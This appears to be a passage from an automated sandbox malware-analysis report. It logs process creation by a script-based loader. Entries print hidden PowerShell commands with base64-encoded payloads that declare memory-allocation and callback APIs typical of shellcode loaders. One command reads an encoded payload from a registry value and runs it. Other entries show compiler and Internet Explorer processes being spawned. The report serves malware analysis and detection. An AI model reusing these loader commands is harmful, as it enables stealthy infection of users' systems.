AFQASQBWAEUANQAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA2ACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADcALABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAOAAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAHIAZQBmAHIAIABDAGEAbgBjAGUAcgBpAG4AYwBvACAATABpAG4AZwB1AGEAdAB1AGwAIABoAGUAYQBsAGUAIABMAEUAVgBJAEcAQQBUACAATABJAEcASwBJAFMAVABFACAAcwB2AG8AdgBsAC
            Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBhAGcAcgB5ACAAUwBjAHIAaQB2AGUAbgAgAHMAeQBzAHQAZQBtAGsAbwAgAFQAcgBlAGQAagBlADUAIABDAGgAcgBvAG0AaQA4ACAAQgBJAEIATAAgAE8AdgBlAHIAcwB0AHIAZQA3ACAAcAByAGUAYwAgAEYAbwByAGwAaQBnAHMAaQBuADIAIABCAGUAbgBlAGYAaQB0ACAAQQBwAG8AdABoAGUAbwBzAGkAegAgAHUAZABlAHQAaQBsACAATABPAE8AUwBFACAAQgByAG4AZQB2AGUAOQAgAFQAbwBuAHMAaQAyACAAVAByAG8AcABpAHMAIABQAGwAZQB1AHIAbwBsAGkANAAgAGIAbABrAGsAIABDAHkAcwB0AGkAYwBlACAAVQBuAGQAZQByAHIAZQBwAG8AcgAxACAAUAByAG8AYwB1AGwAYwBhAHQAIABQAEEAUwBUAE8AUgAgAFMAYQBuAGcAIABjAG8AbQBiAGEAcgBvAG4AZgBvACAAbwBtAHAAcgAgAEQAYQBtAG4AZQBkADgAIABOAEUAUABIACAARgByAHUAaQB0AGkAdgBlAHIAZQAgAEQARQBGAEEASQBUAEkAUwAgAE0AaQBzAGsAZQBuAGQAZQA1ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGMAcgBpAHAAdABlAHIAZQAxAA0ACgB7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBuAHQAZABsAGwALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABpAG4AdAAgAE4AdABBAGwAbABvAGMAYQB0AGUAVgBpAHIAdAB1AGEAbABNAGUAbQBvAHIAeQAoAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUANgAsAHIAZQBmACAASQBuAHQAMwAyACAAVABoAGUAbwByAGkAcwBlAHIAMgAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBjAHIAaQBwAHQAZQByAGUALABpAG4AdAAgAEwAZQBqAG4AaQA2ACwAaQBuAHQAIABTAGMAcgBpAHAAdABlAHIAZQA3ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBGAGkAbABlAEEAKABzAHQAcgBpAG4AZwAgAFAAcwBlAHUANAAsAHUAaQBuAHQAIABsAGkAbgBqAGUAcgAsAGkAbgB0ACAAUwBUAFIAWQAsAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUAMAAsAGkAbgB0ACAAUwBFAEUAUgBOAEUALABpAG4AdAAgAFAAYQBjAGkAZgBpAGMAZQByADcALABpAG4AdAAgAEEAZAB2AGkAcwBlAG4AcwA5ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMAAsAHUAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADEALABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMgAsAHIAZQBmACAASQBuAHQAMwAyACAAQQBVAFQATwBBAEMAVABJAFYARQAzACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUANQAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA2ACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADcALABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAOAAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAHIAZQBmAHIAIABDAGEAbgBjAGUAcgBpAG4AYwBvACAATABpAG4AZwB1AGEAdAB1AGwAIABoAGUAYQBsAGUAIABMAEUAVgBJAEcAQQBUACAATABJAEcASwBJAFMAVABFACAAcwB2AG8AdgBsACAAcABsAGEAdABvAG4Aa
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -encodedcommand IwBhAGcAcgB5ACAAUwBjAHIAaQB2AGUAbgAgAHMAeQBzAHQAZQBtAGsAbwAgAFQAcgBlAGQAagBlADUAIABDAGgAcgBvAG0AaQA4ACAAQgBJAEIATAAgAE8AdgBlAHIAcwB0AHIAZQA3ACAAcAByAGUAYwAgAEYAbwByAGwAaQBnAHMAaQBuADIAIABCAGUAbgBlAGYAaQB0ACAAQQBwAG8AdABoAGUAbwBzAGkAegAgAHUAZABlAHQAaQBsACAATABPAE8AUwBFACAAQgByAG4AZQB2AGUAOQAgAFQAbwBuAHMAaQAyACAAVAByAG8AcABpAHMAIABQAGwAZQB1AHIAbwBsAGkANAAgAGIAbABrAGsAIABDAHkAcwB0AGkAYwBlACAAVQBuAGQAZQByAHIAZQBwAG8AcgAxACAAUAByAG8AYwB1AGwAYwBhAHQAIABQAEEAUwBUAE8AUgAgAFMAYQBuAGcAIABjAG8AbQBiAGEAcgBvAG4AZgBvACAAbwBtAHAAcgAgAEQAYQBtAG4AZQBkADgAIABOAEUAUABIACAARgByAHUAaQB0AGkAdgBlAHIAZQAgAEQARQBGAEEASQBUAEkAUwAgAE0AaQBzAGsAZQBuAGQAZQA1ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGMAcgBpAHAAdABlAHIAZQAxAA0ACgB7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBuAHQAZABsAGwALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABpAG4AdAAgAE4AdABBAGwAbABvAGMAYQB0AGUAVgBpAHIAdAB1AGEAbABNAGUAbQBvAHIAeQAoAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUANgAsAHIAZQBmACAASQBuAHQAMwAyACAAVABoAGUAbwByAGkAcwBlAHIAMgAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBjAHIAaQBwAHQAZQByAGUALABpAG4AdAAgAEwAZQBqAG4AaQA2ACwAaQBuAHQAIABTAGMAcgBpAHAAdABlAHIAZQA3ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBGAGkAbABlAEEAKABzAHQAcgBpAG4AZwAgAFAAcwBlAHUANAAsAHUAaQBuAHQAIABsAGkAbgBqAGUAcgAsAGkAbgB0ACAAUwBUAFIAWQAsAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUAMAAsAGkAbgB0ACAAUwBFAEUAUgBOAEUALABpAG4AdAAgAFAAYQBjAGkAZgBpAGMAZQByADcALABpAG4AdAAgAEEAZAB2AGkAcwBlAG4AcwA5ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMAAsAHUAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADEALABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMgAsAHIAZQBmACAASQBuAHQAMwAyACAAQQBVAFQATwBBAEMAVABJAFYARQAzACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUANQAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA2ACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADcALABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAOAAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAHIAZQBmAHIAIABDAGEAbgBjAGUAcgBpAG4AYwBvACAATABpAG4AZwB1AGEAdAB1AGwAIABoAGUAYQBsAGUAIABMAEUAVgBJAEcAQQBUACAATABJAEcASwBJAFMAVABFACAAcwB2AG8AdgBsAC
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -encodedcommand IwBhAGcAcgB5ACAAUwBjAHIAaQB2AGUAbgAgAHMAeQBzAHQAZQBtAGsAbwAgAFQAcgBlAGQAagBlADUAIABDAGgAcgBvAG0AaQA4ACAAQgBJAEIATAAgAE8AdgBlAHIAcwB0AHIAZQA3ACAAcAByAGUAYwAgAEYAbwByAGwAaQBnAHMAaQBuADIAIABCAGUAbgBlAGYAaQB0ACAAQQBwAG8AdABoAGUAbwBzAGkAegAgAHUAZABlAHQAaQBsACAATABPAE8AUwBFACAAQgByAG4AZQB2AGUAOQAgAFQAbwBuAHMAaQAyACAAVAByAG8AcABpAHMAIABQAGwAZQB1AHIAbwBsAGkANAAgAGIAbABrAGsAIABDAHkAcwB0AGkAYwBlACAAVQBuAGQAZQByAHIAZQBwAG8AcgAxACAAUAByAG8AYwB1AGwAYwBhAHQAIABQAEEAUwBUAE8AUgAgAFMAYQBuAGcAIABjAG8AbQBiAGEAcgBvAG4AZgBvACAAbwBtAHAAcgAgAEQAYQBtAG4AZQBkADgAIABOAEUAUABIACAARgByAHUAaQB0AGkAdgBlAHIAZQAgAEQARQBGAEEASQBUAEkAUwAgAE0AaQBzAGsAZQBuAGQAZQA1ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGMAcgBpAHAAdABlAHIAZQAxAA0ACgB7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBuAHQAZABsAGwALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABpAG4AdAAgAE4AdABBAGwAbABvAGMAYQB0AGUAVgBpAHIAdAB1AGEAbABNAGUAbQBvAHIAeQAoAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUANgAsAHIAZQBmACAASQBuAHQAMwAyACAAVABoAGUAbwByAGkAcwBlAHIAMgAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBjAHIAaQBwAHQAZQByAGUALABpAG4AdAAgAEwAZQBqAG4AaQA2ACwAaQBuAHQAIABTAGMAcgBpAHAAdABlAHIAZQA3ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBGAGkAbABlAEEAKABzAHQAcgBpAG4AZwAgAFAAcwBlAHUANAAsAHUAaQBuAHQAIABsAGkAbgBqAGUAcgAsAGkAbgB0ACAAUwBUAFIAWQAsAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUAMAAsAGkAbgB0ACAAUwBFAEUAUgBOAEUALABpAG4AdAAgAFAAYQBjAGkAZgBpAGMAZQByADcALABpAG4AdAAgAEEAZAB2AGkAcwBlAG4AcwA5ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMAAsAHUAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADEALABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMgAsAHIAZQBmACAASQBuAHQAMwAyACAAQQBVAFQATwBBAEMAVABJAFYARQAzACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUANQAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA2ACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADcALABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAOAAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAHIAZQBmAHIAIABDAGEAbgBjAGUAcgBpAG4AYwBvACAATABpAG4AZwB1AGEAdAB1AGwAIABoAGUAYQBsAGUAIABMAEUAVgBJAEcAQQBUACAATABJAEcASwBJAFMAVABFACAAcwB2AG8AdgBsAC
            Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBhAGcAcgB5ACAAUwBjAHIAaQB2AGUAbgAgAHMAeQBzAHQAZQBtAGsAbwAgAFQAcgBlAGQAagBlADUAIABDAGgAcgBvAG0AaQA4ACAAQgBJAEIATAAgAE8AdgBlAHIAcwB0AHIAZQA3ACAAcAByAGUAYwAgAEYAbwByAGwAaQBnAHMAaQBuADIAIABCAGUAbgBlAGYAaQB0ACAAQQBwAG8AdABoAGUAbwBzAGkAegAgAHUAZABlAHQAaQBsACAATABPAE8AUwBFACAAQgByAG4AZQB2AGUAOQAgAFQAbwBuAHMAaQAyACAAVAByAG8AcABpAHMAIABQAGwAZQB1AHIAbwBsAGkANAAgAGIAbABrAGsAIABDAHkAcwB0AGkAYwBlACAAVQBuAGQAZQByAHIAZQBwAG8AcgAxACAAUAByAG8AYwB1AGwAYwBhAHQAIABQAEEAUwBUAE8AUgAgAFMAYQBuAGcAIABjAG8AbQBiAGEAcgBvAG4AZgBvACAAbwBtAHAAcgAgAEQAYQBtAG4AZQBkADgAIABOAEUAUABIACAARgByAHUAaQB0AGkAdgBlAHIAZQAgAEQARQBGAEEASQBUAEkAUwAgAE0AaQBzAGsAZQBuAGQAZQA1ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGMAcgBpAHAAdABlAHIAZQAxAA0ACgB7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBuAHQAZABsAGwALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABpAG4AdAAgAE4AdABBAGwAbABvAGMAYQB0AGUAVgBpAHIAdAB1AGEAbABNAGUAbQBvAHIAeQAoAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUANgAsAHIAZQBmACAASQBuAHQAMwAyACAAVABoAGUAbwByAGkAcwBlAHIAMgAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBjAHIAaQBwAHQAZQByAGUALABpAG4AdAAgAEwAZQBqAG4AaQA2ACwAaQBuAHQAIABTAGMAcgBpAHAAdABlAHIAZQA3ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBGAGkAbABlAEEAKABzAHQAcgBpAG4AZwAgAFAAcwBlAHUANAAsAHUAaQBuAHQAIABsAGkAbgBqAGUAcgAsAGkAbgB0ACAAUwBUAFIAWQAsAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUAMAAsAGkAbgB0ACAAUwBFAEUAUgBOAEUALABpAG4AdAAgAFAAYQBjAGkAZgBpAGMAZQByADcALABpAG4AdAAgAEEAZAB2AGkAcwBlAG4AcwA5ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMAAsAHUAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADEALABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMgAsAHIAZQBmACAASQBuAHQAMwAyACAAQQBVAFQATwBBAEMAVABJAFYARQAzACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUANQAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA2ACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADcALABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAOAAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAHIAZQBmAHIAIABDAGEAbgBjAGUAcgBpAG4AYwBvACAATABpAG4AZwB1AGEAdAB1AGwAIABoAGUAYQBsAGUAIABMAEUAVgBJAEcAQQBUACAATABJAEcASwBJAFMAVABFACAAcwB2AG8AdgBsACAAcABsAGEAdABvAG4Aa
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\tm43worv.cmdline
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Program Files (x86)\Internet Explorer\ieinstal.exe C:\Program Files (x86)\internet explorer\ieinstal.exe
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESD568.tmp" "c:\Users\user\AppData\Local\Temp\CSCF0319BB5C3414E72AB519E7A67BBFBFC.TMP"
            Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeProcess created: C:\Program Files\internet explorer\iexplore.exe c:\program files\internet explorer\iexplore.exe
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Retrocogni8=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').Rickey;powershell.exe -windowstyle hidden -encodedcommand($Retrocogni8)
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -encodedcommand IwBhAGcAcgB5ACAAUwBjAHIAaQB2AGUAbgAgAHMAeQBzAHQAZQBtAGsAbwAgAFQAcgBlAGQAagBlADUAIABDAGgAcgBvAG0AaQA4ACAAQgBJAEIATAAgAE8AdgBlAHIAcwB0AHIAZQA3ACAAcAByAGUAYwAgAEYAbwByAGwAaQBnAHMAaQBuADIAIABCAGUAbgBlAGYAaQB0ACAAQQBwAG8AdABoAGUAbwBzAGkAegAgAHUAZABlAHQAaQBsACAATABPAE8AUwBFACAAQgByAG4AZQB2AGUAOQAgAFQAbwBuAHMAaQAyACAAVAByAG8AcABpAHMAIABQAGwAZQB1AHIAbwBsAGkANAAgAGIAbABrAGsAIABDAHkAcwB0AGkAYwBlACAAVQBuAGQAZQByAHIAZQBwAG8AcgAxACAAUAByAG8AYwB1AGwAYwBhAHQAIABQAEEAUwBUAE8AUgAgAFMAYQBuAGcAIABjAG8AbQBiAGEAcgBvAG4AZgBvACAAbwBtAHAAcgAgAEQAYQBtAG4AZQBkADgAIABOAEUAUABIACAARgByAHUAaQB0AGkAdgBlAHIAZQAgAEQARQBGAEEASQBUAEkAUwAgAE0AaQBzAGsAZQBuAGQAZQA1ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGMAcgBpAHAAdABlAHIAZQAxAA0ACgB7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBuAHQAZABsAGwALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABpAG4AdAAgAE4AdABBAGwAbABvAGMAYQB0AGUAVgBpAHIAdAB1AGEAbABNAGUAbQBvAHIAeQAoAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUANgAsAHIAZQBmACAASQBuAHQAMwAyACAAVABoAGUAbwByAGkAcwBlAHIAMgAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBjAHIAaQBwAHQAZQByAGUALABpAG4AdAAgAEwAZQBqAG4AaQA2ACwAaQBuAHQAIABTAGMAcgBpAHAAdABlAHIAZQA3ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBGAGkAbABlAEEAKABzAHQAcgBpAG4AZwAgAFAAcwBlAHUANAAsAHUAaQBuAHQAIABsAGkAbgBqAGUAcgAsAGkAbgB0ACAAUwBUAFIAWQAsAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUAMAAsAGkAbgB0ACAAUwBFAEUAUgBOAEUALABpAG4AdAAgAFAAYQBjAGkAZgBpAGMAZQByADcALABpAG4AdAAgAEEAZAB2AGkAcwBlAG4AcwA5ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMAAsAHUAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADEALABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMgAsAHIAZQBmACAASQBuAHQAMwAyACAAQQBVAFQATwBBAEMAVABJAFYARQAzACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUANQAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA2ACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADcALABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAOAAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAHIAZQBmAHIAIABDAGEAbgBjAGUAcgBpAG4AYwBvACAATABpAG4AZwB1AGEAdAB1AGwAIABoAGUAYQBsAGUAIABMAEUAVgBJAEcAQQBUACAATABJAEcASw